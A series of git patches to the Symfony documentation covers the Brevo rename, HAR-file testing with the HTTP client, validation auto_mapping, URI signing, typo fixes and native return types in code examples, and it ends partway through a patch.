From 82c1ce4f1f720f83af58ea0c25c5fd8a36888919 Mon Sep 17 00:00:00 2001
From: marco-pm <53403229+marco-pm@users.noreply.github.com>
Date: Sat, 8 Jul 2023 21:25:53 +0200
Subject: [PATCH 4845/7107] [Doctrine] Fix line numbers in example

---
 doctrine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 74bbd073373..8fd010c3dd5 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -395,13 +395,13 @@ Take a look at the previous example in more detail:
   the controller method. This object is responsible for saving objects to, and
   fetching objects from, the database.
 
-* **lines 17-20** In this section, you instantiate and work with the ``$product``
+* **lines 15-18** In this section, you instantiate and work with the ``$product``
   object like any other normal PHP object.
 
-* **line 23** The ``persist($product)`` call tells Doctrine to "manage" the
+* **line 21** The ``persist($product)`` call tells Doctrine to "manage" the
   ``$product`` object. This does **not** cause a query to be made to the database.
 
-* **line 26** When the ``flush()`` method is called, Doctrine looks through
+* **line 24** When the ``flush()`` method is called, Doctrine looks through
   all of the objects that it's managing to see if they need to be persisted
   to the database. In this example, the ``$product`` object's data doesn't
   exist in the database, so the entity manager executes an ``INSERT`` query,

From 10ef90402757fff05099661829ffb6f86911a8f3 Mon Sep 17 00:00:00 2001
From: blaugueux <laugueux.benjamin@gmail.com>
Date: Thu, 1 Jun 2023 02:44:32 +0200
Subject: [PATCH 4846/7107] [Mailer] Rename Sendinlue to Brevo

---
 mailer.rst | 19 ++++++++++++-------
 1 file changed, 12 insertions(+), 7 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index d5fdbaed8c4..a25da67e54a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -103,6 +103,7 @@ via a third-party provider:
 Service               Install with
 ===================== ==============================================
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
+`Brevo`_              ``composer require symfony/brevo-mailer``
 `Infobip`_            ``composer require symfony/infobip-mailer``
 `Mailchimp Mandrill`_ ``composer require symfony/mailchimp-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``
@@ -111,7 +112,6 @@ Service               Install with
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``
-`Sendinblue`_         ``composer require symfony/sendinblue-mailer``
 ===================== ==============================================
 
 .. versionadded:: 6.2
@@ -124,6 +124,11 @@ Service               Install with
 
     The MailerSend integration was introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The ``Brevo`` integration was renamed in Symfony 6.4 (in previous
+    Symfony versions it was called ``Sendinblue``).
+
 .. note::
 
     As a convenience, Symfony also provides support for Gmail (``composer
@@ -176,6 +181,10 @@ party provider:
 |                        | - HTTP ses+https://ACCESS_KEY:SECRET_KEY@default    |
 |                        | - API ses+api://ACCESS_KEY:SECRET_KEY@default       |
 +------------------------+-----------------------------------------------------+
+| `Brevo`_               | - SMTP brevo+smtp://USERNAME:PASSWORD@default       |
+|                        | - HTTP n/a                                          |
+|                        | - API brevo+api://KEY@default                       |
++------------------------+-----------------------------------------------------+
 | `Google Gmail`_        | - SMTP gmail+smtp://USERNAME:APP-PASSWORD@default   |
 |                        | - HTTP n/a                                          |
 |                        | - API n/a                                           |
@@ -212,10 +221,6 @@ party provider:
 |                        | - HTTP n/a                                          |
 |                        | - API sendgrid+api://KEY@default                    |
 +------------------------+-----------------------------------------------------+
-| `Sendinblue`_          | - SMTP sendinblue+smtp://USERNAME:PASSWORD@default  |
-|                        | - HTTP n/a                                          |
-|                        | - API sendinblue+api://KEY@default                  |
-+------------------------+-----------------------------------------------------+
 
 .. versionadded:: 6.3
 
@@ -1501,11 +1506,11 @@ If your transport does not support tags and metadata, they will be added as cust
 
 The following transports currently support tags and metadata:
 
+* Brevo
 * Mailchimp
 * Mailgun
 * Postmark
 * Sendgrid
-* Sendinblue
 
 The following transports only support tags:
 
@@ -1855,6 +1860,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 
 .. _`Amazon SES`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Amazon/README.md
 .. _`App Password`: https://support.google.com/accounts/answer/185833
+.. _`Brevo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Brevo/README.md
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
 .. _`DKIM`: https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
 .. _`download the foundation-emails.css file`: https://github.com/foundation/foundation-emails/blob/develop/dist/foundation-emails.css
@@ -1876,4 +1882,3 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
 .. _`SendGrid`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sendgrid/README.md
-.. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sendinblue/README.md

From 039ba692a58e81ff5fb2c010789740b8d550688d Mon Sep 17 00:00:00 2001
From: Gary PEGEOT <garypegeot@gmail.com>
Date: Mon, 10 Jul 2023 09:30:03 +0200
Subject: [PATCH 4847/7107] [HTTPClient] Add documentation for
 `HarFileResponseFactory`

Fixes https://github.com/symfony/symfony-docs/issues/18546
---
 http_client.rst | 40 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 40 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 3dd9e867bc1..c11bde2d15c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2196,6 +2196,45 @@ test it in a real application::
         }
     }
 
+Testing using HAR files
+~~~~~~~~~~~~~~~~~~~~~~~
+
+The previous example can also be achieved using `HAR`_ files. You can export those files from all modern browsers (from the network tab) &
+HTTP Clients. First, do the HTTP request(s) you want to test in your favorite HTTP Client / Browser, then store generated ``.har`` file somewhere in your application::
+
+    // ExternalArticleServiceTest.php
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\HttpClient\MockHttpClient;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    final class ExternalArticleServiceTest extends TestCase
+    {
+        public function testSubmitData(): void
+        {
+            // Arrange
+            $fixtureDir = sprintf('%s/tests/fixtures/HTTP', static::getContainer()->getParameter('kernel.project_dir'));
+            $factory = new HarFileResponseFactory("$fixtureDir/example.com_archive.har");
+            $httpClient = new MockHttpClient($factory, 'https://example.com');
+            $service = new ExternalArticleService($httpClient);
+
+            // Act
+            $responseData = $service->createArticle($requestData);
+
+            // Assert
+            self::assertSame($responseData, 'the expected response');
+        }
+    }
+
+
+If your service does multiple requests or if your `.har` file contains multiple request / response pairs,
+the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory` will find the associated response based on
+the request method, url and body (if any). Note that **this doesn't work** if the request body or uri is random / always changing
+(if it contains current date or random UUID(s) for example).
+
+.. versionadded:: 7.0
+
+    The ``HarFileResponseFactory`` was introduced in Symfony 7.0.
+
 Testing Network Transport Exceptions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2262,3 +2301,4 @@ you to do so, by yielding the exception from its body::
 .. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods
 .. _`SSRF`: https://portswigger.net/web-security/ssrf
 .. _`RFC 6570`: https://www.rfc-editor.org/rfc/rfc6570
+.. _`HAR`: https://w3c.github.io/web-performance/specs/HAR/Overview.html

From 61a75a876ca0571067db178e4940ed040abffdeb Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 9 Jul 2023 10:57:16 +0200
Subject: [PATCH 4848/7107] [Notifier] Add Brevo bridge

---
 notifier.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 27a10a2a766..bf93b85769c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -62,6 +62,7 @@ Service             Package                                DSN
 `AllMySms`_         ``symfony/all-my-sms-notifier``        ``allmysms://LOGIN:APIKEY@default?from=FROM``
 `AmazonSns`_        ``symfony/amazon-sns-notifier``        ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 `Bandwidth`_        ``symfony/bandwidth-notifier``         ``bandwidth://USERNAME:PASSWORD@default?from=FROM&account_id=ACCOUNT_ID&application_id=APPLICATION_ID&priority=PRIORITY``
+`Brevo`_            ``symfony/brevo-notifier``             ``brevo://API_KEY@default?sender=SENDER``
 `Clickatell`_       ``symfony/clickatell-notifier``        ``clickatell://ACCESS_TOKEN@default?from=FROM``
 `ContactEveryone`_  ``symfony/contact-everyone-notifier``  ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``
 `Esendex`_          ``symfony/esendex-notifier``           ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
@@ -119,7 +120,12 @@ Service             Package                                DSN
 
 .. versionadded:: 6.4
 
-    The Redlink integration was introduced in Symfony 6.4.
+    The `Redlink`_ and `Brevo`_ integrations were introduced in Symfony 6.4.
+
+.. deprecated:: 6.4
+
+    The `Sendinblue`_ integration is deprecated since
+    Symfony 6.4, use the `Brevo`_ integration instead.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
@@ -979,6 +985,7 @@ is dispatched. Listeners receive a
 .. _`AllMySms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AllMySms/README.md
 .. _`AmazonSns`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AmazonSns/README.md
 .. _`Bandwidth`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Bandwidth/README.md
+.. _`Brevo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Brevo/README.md
 .. _`Chatwork`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Chatwork/README.md
 .. _`Clickatell`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Clickatell/README.md
 .. _`ContactEveryone`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/ContactEveryone/README.md

From bc8d4763b700a138463629b50aa685ae160b9924 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 9 Jul 2023 11:05:12 +0200
Subject: [PATCH 4849/7107] [Notifier] Remove the Sendinblue bridge

---
 notifier.rst                     | 2 --
 reference/configuration/twig.rst | 1 -
 2 files changed, 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 27a10a2a766..626b23f14f1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -85,7 +85,6 @@ Service             Package                                DSN
 `Redlink`_          ``symfony/redlink-notifier``           ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION``
 `RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
 `Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
-`Sendinblue`_       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
 `Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
 `SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
 `Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
@@ -1024,7 +1023,6 @@ is dispatched. Listeners receive a
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
 .. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md
 .. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md
-.. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md
 .. _`SimpleTextin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SimpleTextin/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
 .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index d36584a7f6c..6de8ef24742 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -402,4 +402,3 @@ attribute or method doesn't exist. If set to ``false`` these errors are ignored
 and the non-existing values are replaced by ``null``.
 
 .. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension
-.. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting

From ec88f6d96d136b603388326209e84bf131b121b9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 Jul 2023 11:48:50 +0200
Subject: [PATCH 4850/7107] Tweaks

---
 notifier.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index a8ddf6374c0..47aad3d263a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -121,11 +121,6 @@ Service             Package                                DSN
 
     The `Redlink`_ and `Brevo`_ integrations were introduced in Symfony 6.4.
 
-.. deprecated:: 6.4
-
-    The `Sendinblue`_ integration is deprecated since
-    Symfony 6.4, use the `Brevo`_ integration instead.
-
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From 71f2f821de2a8f28c456152cb54b531670947a53 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 Jul 2023 13:18:01 +0200
Subject: [PATCH 4851/7107] Minor rewords

---
 http_client.rst | 20 ++++++++++++--------
 1 file changed, 12 insertions(+), 8 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index c11bde2d15c..bc0a17b581a 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2196,11 +2196,15 @@ test it in a real application::
         }
     }
 
-Testing using HAR files
+Testing Using HAR Files
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-The previous example can also be achieved using `HAR`_ files. You can export those files from all modern browsers (from the network tab) &
-HTTP Clients. First, do the HTTP request(s) you want to test in your favorite HTTP Client / Browser, then store generated ``.har`` file somewhere in your application::
+Modern browsers (via their network tab) and HTTP clients allow to export the
+information of one or more HTTP requests using the `HAR`_ (HTTP Archive) format.
+You can use those ``.har`` files to perform tests with Symfony's HTTP Client.
+
+First, use a browser or HTTP client to perform the HTTP request(s) you want to
+test. Then, save that information as a ``.har`` file somewhere in your application::
 
     // ExternalArticleServiceTest.php
     use PHPUnit\Framework\TestCase;
@@ -2225,11 +2229,11 @@ HTTP Clients. First, do the HTTP request(s) you want to test in your favorite HT
         }
     }
 
-
-If your service does multiple requests or if your `.har` file contains multiple request / response pairs,
-the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory` will find the associated response based on
-the request method, url and body (if any). Note that **this doesn't work** if the request body or uri is random / always changing
-(if it contains current date or random UUID(s) for example).
+If your service performs multiple requests or if your ``.har`` file contains multiple
+request/response pairs, the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory`
+will find the associated response based on the request method, URL and body (if any).
+Note that **this won't work** if the request body or URI is random / always
+changing (e.g. if it contains current date or random UUIDs).
 
 .. versionadded:: 7.0
 

From 07ac7553f611bd8991243fc9c2644a0a5ddc49e7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 10:18:53 +0200
Subject: [PATCH 4852/7107] [Validator] [Validation] Document the auto_mapping
 config option

---
 doctrine.rst                          | 16 +++++---
 reference/configuration/framework.rst | 59 +++++++++++++++++++++++++++
 2 files changed, 70 insertions(+), 5 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 74bbd073373..d582931b3e4 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -420,8 +420,12 @@ is smart enough to know if it should INSERT or UPDATE your entity.
 Validating Objects
 ------------------
 
-:doc:`The Symfony validator </validation>` reuses Doctrine metadata to perform
-some basic validation tasks::
+:doc:`The Symfony validator </validation>` can reuse Doctrine metadata to perform
+some basic validation tasks. First, add or configure the
+:ref:`auto_mapping option <reference-validation-auto-mapping>` to define which
+entities should be introspected by Symfony to add automatic validation constraints.
+
+Consider the following controller code::
 
     // src/Controller/ProductController.php
     namespace App\Controller;
@@ -455,9 +459,11 @@ some basic validation tasks::
     }
 
 Although the ``Product`` entity doesn't define any explicit
-:doc:`validation configuration </validation>`, Symfony introspects the Doctrine
-mapping configuration to infer some validation rules. For example, given that
-the ``name`` property can't be ``null`` in the database, a
+:doc:`validation configuration </validation>`, if the ``auto_mapping`` option
+includes it in the list of entities to introspect, Symfony will infer some
+validation rules for it and will apply them.
+
+For example, given that the ``name`` property can't be ``null`` in the database, a
 :doc:`NotNull constraint </reference/constraints/NotNull>` is added automatically
 to the property (if it doesn't contain that constraint already).
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ce08ef2f11a..5c39e4fd0cc 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2499,6 +2499,65 @@ enabled
 validation
 ~~~~~~~~~~
 
+.. _reference-validation-auto-mapping:
+
+auto_mapping
+............
+
+**type**: ``array`` **default**: ``[]``
+
+Defines the Doctrine entities that will be introspected to add
+:ref:`automatic validation constraints <automatic_object_validation>` to them:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        framework:
+            validation:
+                auto_mapping:
+                    # an empty array means that all entities that belong to that
+                    # namespace will add automatic validation
+                    'App\Entity\': []
+                    'Foo\': ['Foo\Some\Entity', 'Foo\Another\Entity']
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:validation>
+                    <framework:auto-mapping>
+                        <framework:service namespace="App\Entity\"/>
+
+                        <framework:service namespace="Foo\">Foo\Some\Entity</framework:service>
+                        <framework:service namespace="Foo\">Foo\Another\Entity</framework:service>
+                    </framework:auto-mapping>
+                </framework:validation>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->validation()
+                ->autoMapping()
+                    ->paths([
+                        'App\\Entity\\' => [],
+                        'Foo\\' => ['Foo\\Some\\Entity', 'Foo\\Another\\Entity'],
+                    ]);
+        };
+
 .. _reference-validation-enabled:
 
 enabled

From 93699b6d01d46c922175c6a519890b3c59ccf8ae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 17:24:01 +0200
Subject: [PATCH 4853/7107] [HttpKernel] Document UriSigner

---
 routing.rst | 43 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/routing.rst b/routing.rst
index a2d39841468..9047511e719 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2617,6 +2617,49 @@ defined as annotations:
     :doc:`another way to enforce HTTP or HTTPS </security/force_https>`
     via the ``requires_channel`` setting.
 
+Signing URIs
+~~~~~~~~~~~~
+
+A signed URI is an URI that includes a hash value that depends on the contents of
+the URI. This way, you can later check the integrity of the signed URI by
+recomputing its hash value and comparing it with the hash included in the URI.
+
+Symfony provides a utility to sign URIs via the :class:`Symfony\\Component\\HttpKernel\\UriSigner`
+service, which you can inject in your services or controllers::
+
+    // src/Service/SomeService.php
+    namespace App\Service;
+
+    use Symfony\Component\HttpKernel\UriSigner;
+
+    class SomeService
+    {
+        public function __construct(
+            private UriSigner $uriSigner,
+        ) {
+        }
+
+        public function someMethod()
+        {
+            // ...
+
+            // generate a URL youself or get it somehow...
+            $url = 'https://example.com/foo/bar?sort=desc';
+
+            // sign the URL (it adds a query parameter called '_hash')
+            $signedUrl = $this->uriSigner->sign($url);
+            // $url = 'https://example.com/foo/bar?sort=desc&_hash=e4a21b9'
+
+            // check the URL signature
+            $uriSignatureIsValid = $this->uriSigner->check($signedUrl);
+            // $uriSignatureIsValid = true
+
+            // if you have access to the current Request object, you can use this
+            // other method to pass the entire Request object instead of the URI:
+            $uriSignatureIsValid = $this->uriSigner->checkRequest($request);
+        }
+    }
+
 Troubleshooting
 ---------------
 

From 8b2b0ea722b67550958718d9385b7bf152fbddaa Mon Sep 17 00:00:00 2001
From: Peter Hauke <90506472+peterhauke@users.noreply.github.com>
Date: Tue, 11 Jul 2023 08:17:51 +0200
Subject: [PATCH 4854/7107] Fix typos

Remove unnecessary hyphen after "pure".

"server side" should be hyphenated: "server-side".
---
 frontend.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index da0564a5550..ad30b996462 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -6,7 +6,7 @@ Managing CSS and JavaScript
 
     Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_.
 
-Symfony ships with a pure-JavaScript library - called Webpack Encore - that makes
+Symfony ships with a pure JavaScript library - called Webpack Encore - that makes
 it a joy to work with CSS and JavaScript. You can use it, use something else, or
 create static CSS and JS files in your ``public/`` directory directly and
 include them in your templates.
@@ -18,7 +18,7 @@ Webpack Encore
 
 `Webpack Encore`_ is a simpler way to integrate `Webpack`_ into your application.
 It *wraps* Webpack, giving you a clean & powerful API for bundling JavaScript modules,
-pre-processing CSS & JS and compiling and minifying assets. Encore gives you professional
+pre-processing CSS & JS and compiling and minifying assets. Encore gives you a professional
 asset system that's a *delight* to use.
 
 Encore is inspired by `Webpacker`_ and `Mix`_, but stays in the spirit of Webpack:
@@ -28,7 +28,7 @@ to solve the most common Webpack use cases.
 .. tip::
 
     Encore is made by `Symfony`_ and works *beautifully* in Symfony applications.
-    But it can be used in any PHP application and even with other server side
+    But it can be used in any PHP application and even with other server-side
     programming languages!
 
 .. _encore-toc:
@@ -45,7 +45,7 @@ Getting Started
 Adding more Features
 ....................
 
-* :doc:`CSS Preprocessors: Sass, LESS, etc </frontend/encore/css-preprocessors>`
+* :doc:`CSS Preprocessors: Sass, LESS, etc. </frontend/encore/css-preprocessors>`
 * :doc:`PostCSS and autoprefixing </frontend/encore/postcss>`
 * :doc:`Enabling React.js </frontend/encore/reactjs>`
 * :doc:`Enabling Vue.js (vue-loader) </frontend/encore/vuejs>`

From 0068934b5c574e1a611d4f84eb8291bbab356f91 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 11 Jul 2023 16:42:40 +0200
Subject: [PATCH 4855/7107] [Bridges][Bundles] Convert to native return types

---
 bundles/configuration.rst                       | 4 ++--
 bundles/extension.rst                           | 2 +-
 bundles/prepend_extension.rst                   | 2 +-
 components/console/changing_default_command.rst | 6 ++++--
 components/console/console_arguments.rst        | 4 ++--
 components/console/logger.rst                   | 4 +++-
 components/dependency_injection/compilation.rst | 2 +-
 configuration/using_parameters_in_dic.rst       | 2 +-
 console/calling_commands.rst                    | 2 +-
 console/verbosity.rst                           | 2 +-
 logging/monolog_console.rst                     | 4 +++-
 session.rst                                     | 4 ++--
 12 files changed, 22 insertions(+), 16 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index bc9efc1e0b9..366eec0d72c 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -458,7 +458,7 @@ the extension. You might want to change this to a more professional URL::
     {
         // ...
 
-        public function getNamespace()
+        public function getNamespace(): string
         {
             return 'http://acme_company.com/schema/dic/hello';
         }
@@ -490,7 +490,7 @@ can place it anywhere you like. You should return this path as the base path::
     {
         // ...
 
-        public function getXsdValidationBasePath()
+        public function getXsdValidationBasePath(): string
         {
             return __DIR__.'/../Resources/config/schema';
         }
diff --git a/bundles/extension.rst b/bundles/extension.rst
index f831efdaf5b..82c8fb05183 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -34,7 +34,7 @@ This is how the extension of an AcmeHelloBundle should look like::
 
     class AcmeHelloExtension extends Extension
     {
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $container): void
         {
             // ... you'll load the files here later
         }
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 8d28080470f..b94b647671e 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -31,7 +31,7 @@ To give an Extension the power to do this, it needs to implement
     {
         // ...
 
-        public function prepend(ContainerBuilder $container)
+        public function prepend(ContainerBuilder $container): void
         {
             // ...
         }
diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst
index f8b100993a9..b739e3b39ba 100644
--- a/components/console/changing_default_command.rst
+++ b/components/console/changing_default_command.rst
@@ -15,14 +15,16 @@ name to the ``setDefaultCommand()`` method::
     #[AsCommand(name: 'hello:world')]
     class HelloWorldCommand extends Command
     {
-        protected function configure()
+        protected function configure(): void
         {
             $this->setDescription('Outputs "Hello World"');
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $output->writeln('Hello World');
+
+            return Command::SUCCESS;
         }
     }
 
diff --git a/components/console/console_arguments.rst b/components/console/console_arguments.rst
index d7bf141f4ce..da538ac78f1 100644
--- a/components/console/console_arguments.rst
+++ b/components/console/console_arguments.rst
@@ -22,7 +22,7 @@ Have a look at the following command that has three options::
     #[AsCommand(name: 'demo:args', description: 'Describe args behaviors')]
     class DemoArgsCommand extends Command
     {
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 ->setDefinition(
@@ -34,7 +34,7 @@ Have a look at the following command that has three options::
                 );
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // ...
         }
diff --git a/components/console/logger.rst b/components/console/logger.rst
index afeab7dd0cb..5aa72a9d02d 100644
--- a/components/console/logger.rst
+++ b/components/console/logger.rst
@@ -44,12 +44,14 @@ You can rely on the logger to use this dependency inside a command::
     )]
     class MyCommand extends Command
     {
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $logger = new ConsoleLogger($output);
 
             $myDependency = new MyDependency($logger);
             $myDependency->doStuff();
+
+            return Command::SUCCESS;
         }
     }
 
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 1f450df28ed..64209c1586c 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -408,7 +408,7 @@ class implementing the ``CompilerPassInterface``::
 
     class CustomPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // ... do something during the compilation
         }
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 05008114e01..259a0b9d974 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -135,7 +135,7 @@ And set it in the constructor of ``Configuration`` via the ``Extension`` class::
     {
         // ...
 
-        public function getConfiguration(array $config, ContainerBuilder $container)
+        public function getConfiguration(array $config, ContainerBuilder $container): Configuration
         {
             return new Configuration($container->getParameter('kernel.debug'));
         }
diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 001dc47e35e..089688767fe 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -27,7 +27,7 @@ method)::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output): void
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $command = $this->getApplication()->find('demo:greet');
 
diff --git a/console/verbosity.rst b/console/verbosity.rst
index 7df68d30f23..f7a1a1e5e59 100644
--- a/console/verbosity.rst
+++ b/console/verbosity.rst
@@ -69,7 +69,7 @@ level. For example::
                 OutputInterface::VERBOSITY_VERBOSE
             );
 
-            return 0;
+            return Command::SUCCESS;
         }
     }
 
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index ad06cfabbff..8d296883b50 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -47,10 +47,12 @@ The example above could then be rewritten as::
         ) {
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $this->logger->debug('Some info');
             $this->logger->notice('Some more info');
+
+            return Command::SUCCESS;
         }
     }
 
diff --git a/session.rst b/session.rst
index 1dcbaa71b4b..2f8848f860b 100644
--- a/session.rst
+++ b/session.rst
@@ -1464,7 +1464,7 @@ event::
         ) {
         }
 
-        public function onInteractiveLogin(InteractiveLoginEvent $event)
